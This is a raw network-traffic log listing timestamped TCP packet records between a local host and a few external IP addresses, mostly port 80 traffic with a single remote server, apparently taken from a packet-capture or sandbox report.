Dec 7, 2024 08:43:53.505052090 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.505079031 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.505116940 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.505134106 CET	49805	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.505139112 CET	443	49805	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.505235910 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.505254984 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.505577087 CET	49803	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:53.505582094 CET	443	49803	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:53.506071091 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.506129980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.506161928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.506206036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.507164955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.507215977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.507275105 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.508235931 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.508295059 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.508332014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.508378983 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.509308100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.509361029 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.509434938 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.509485006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.510373116 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.510423899 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.510489941 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.510536909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.512022018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.512166977 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.512222052 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.512610912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.512670040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.512922049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.512965918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.513595104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.513648987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.513685942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.513734102 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.514697075 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.514745951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.514803886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.514853954 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.515729904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.515841007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.515893936 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.516797066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.516890049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.516896963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.516932011 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.517874002 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.517924070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.517976999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.518029928 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.518959045 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.519011974 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.519079924 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.519126892 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.520015955 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.520143032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.520194054 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.521114111 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.521163940 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.521298885 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.521348000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.522188902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.522238970 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.522315979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.522365093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.523251057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.523302078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.523380041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.523428917 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.524302006 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.524353981 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.524508953 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.524563074 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.525393963 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.525445938 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.525548935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.525595903 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.526444912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.526495934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.526567936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.526614904 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.527550936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.527705908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.527759075 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.528623104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.528676987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.528734922 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.528784990 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.529690981 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.529737949 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.529812098 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.529860020 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.530787945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.530834913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.530890942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.530956984 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.531847000 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.531955957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.532012939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.532905102 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.532958984 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.532995939 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.533035994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.534025908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.534077883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.534178019 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.534224987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.535085917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.535129070 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.535134077 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.535170078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.536185980 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.536272049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.536322117 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.537287951 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.537338972 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.537374020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.537415981 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.538321018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.538368940 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.538440943 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.538487911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.539411068 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.539509058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.539563894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.540534973 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.540585995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.540594101 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.540637970 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.541624069 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.541675091 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.541766882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.541810989 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.542603970 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.542654037 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.566111088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:53.567337036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:53.667632103 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.667764902 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.667853117 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.668129921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.668200016 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.668369055 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.668420076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.668715000 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.668909073 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.669461966 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.669518948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.669635057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.669682026 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.670497894 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.670547009 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.670615911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.670665979 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.671612978 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.671709061 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.671755075 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.672660112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.672781944 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.672836065 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.673726082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.673778057 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.685713053 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.685832977 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.685898066 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.686249971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.686295986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.686352968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.686395884 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.687318087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.687395096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.687444925 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.687484026 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.688396931 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.688441992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.688520908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.688566923 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.689483881 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.689538956 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.689640999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.689681053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.690577984 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.690634966 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.690697908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.690799952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.691626072 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.691665888 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.691728115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.691766977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.692692995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.692749977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.692878962 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.692929983 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.693770885 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.693831921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.693849087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.693886995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.694843054 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.694892883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.694958925 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.695003033 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.695929050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.696110010 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.696160078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.696976900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.697037935 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.697086096 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.697133064 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.698051929 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.698108912 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.698153019 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.698220015 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.699173927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.699223042 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.699284077 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.699326992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.700216055 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.700259924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.700341940 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.700627089 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.701293945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.701351881 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.701406002 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.701543093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.702361107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.702419996 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.702487946 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.702528954 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.703453064 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.703557968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.703605890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.704530001 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.704581976 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.704590082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.704634905 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.705600977 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.705668926 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.705708981 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.705818892 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.706690073 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.706759930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.706760883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.706796885 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.707767010 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.707837105 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.707879066 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.708837032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.708906889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.708906889 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.708944082 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.709897041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.709945917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.709954977 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.709981918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.710966110 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.711021900 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.711044073 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.711087942 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.712054014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.712117910 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.712143898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.712181091 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.713154078 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.713210106 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.713262081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.713299036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.714179039 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.714222908 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.714283943 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.714327097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.715270996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.715356112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.715399981 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.716325045 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.716449976 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.716499090 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.717403889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.717452049 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.717503071 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.717638969 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.718488932 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.718542099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.718547106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.718583107 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.719556093 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.719616890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.719664097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.720613956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.720653057 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.720715046 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.720757961 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.721693039 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.721754074 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.721803904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.721843004 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.722776890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.722840071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.723061085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.723112106 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.723866940 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.723921061 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.723972082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.724054098 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.724926949 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.725048065 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.725080967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.725081921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.726002932 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.726109028 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.726119041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.726212025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.727088928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.727149010 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.727220058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.727298021 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.728143930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.728203058 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.728239059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.728338003 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.729212999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.729273081 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.729376078 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.729520082 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.730292082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.730353117 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.730391026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.730520010 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.731360912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.731491089 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.731543064 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.732440948 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.732492924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.732531071 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.732572079 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:53.733530045 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:53.733577967 CET	80	49795	185.215.113.16	192.168.2.5
